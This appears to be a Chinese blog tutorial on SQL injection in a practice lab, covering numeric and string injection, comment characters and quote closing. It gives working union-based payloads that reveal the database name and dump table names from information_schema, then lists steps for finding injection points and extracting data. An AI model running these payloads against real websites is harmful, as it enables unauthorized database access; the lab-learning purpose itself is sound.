針對(duì)于sql注入的學(xué)習(xí)——從數(shù)字型、字符型開(kāi)始

今天主要是圍繞數(shù)字型和字符型兩中類(lèi)型介紹sql注入

數(shù)字型

image.png

靶場(chǎng)第一關(guān)
select *from user where id=1

字符型

image.png

靶場(chǎng)第二關(guān)
select *from user where id='1'

兩者的語(yǔ)句——區(qū)別在于 id=1處 的符號(hào)
數(shù)字型沒(méi)有引號(hào)閉合,字符型有引號(hào)閉合

數(shù)字型和字符型應(yīng)該可以理解了吧 一個(gè)是 int 一個(gè)是varchar

注釋符

'#'(#)
-- (--空格)
--+
%23
這些都是注釋符,可以換著使用

image.png

如果我們不閉合的話(huà),我們寫(xiě)的語(yǔ)句就是這樣的
select * from user where id='1 and 1=2 union select 1,2,3'


select * from user where id='1 and 1=2 union select 1,2,3'
select * from user where id='1' and 1=2 union select 1,2,3--+'

我們需要在id=1處 加個(gè)單引號(hào)閉合,這樣才能成為id='1'
在末尾加上--+,這樣才能注釋掉末尾的‘單引號(hào)
語(yǔ)句意思就是 查詢(xún)到id的值為字符1,并且and 1=2, 然后union select 1,2,3
加上--+ 以后末尾的單引號(hào)就不會(huì)影響 union select 語(yǔ)句

image.png
image.png
image.png

爆開(kāi)數(shù)據(jù)庫(kù)

?id=-1' union select 1,2,database() --+

爆開(kāi)數(shù)據(jù)表

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

爆開(kāi)數(shù)據(jù)列(字段名)

自己圍繞前面給的語(yǔ)句寫(xiě)一下

爆開(kāi)flag

自己圍繞前面給的語(yǔ)句寫(xiě)一下

這里的--+也可以寫(xiě)成其他的注釋符

步驟同樣是先圍繞之前的從0開(kāi)始

先判斷是否存在注入點(diǎn)

加單引號(hào) 看與之前正常的網(wǎng)頁(yè)是否一樣,若不一樣則可能存在sql注入
and 1=1 and 1=2 兩者網(wǎng)頁(yè)是否一樣 ,若不一樣則可能存在sql注入
(加減乘除)id=2 和 id=1+1 兩者網(wǎng)頁(yè)是否一樣,若一樣則可能存在sql注入

判斷列數(shù)

這里也要注意閉合單引號(hào)

找到顯示位

爆破數(shù)據(jù)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容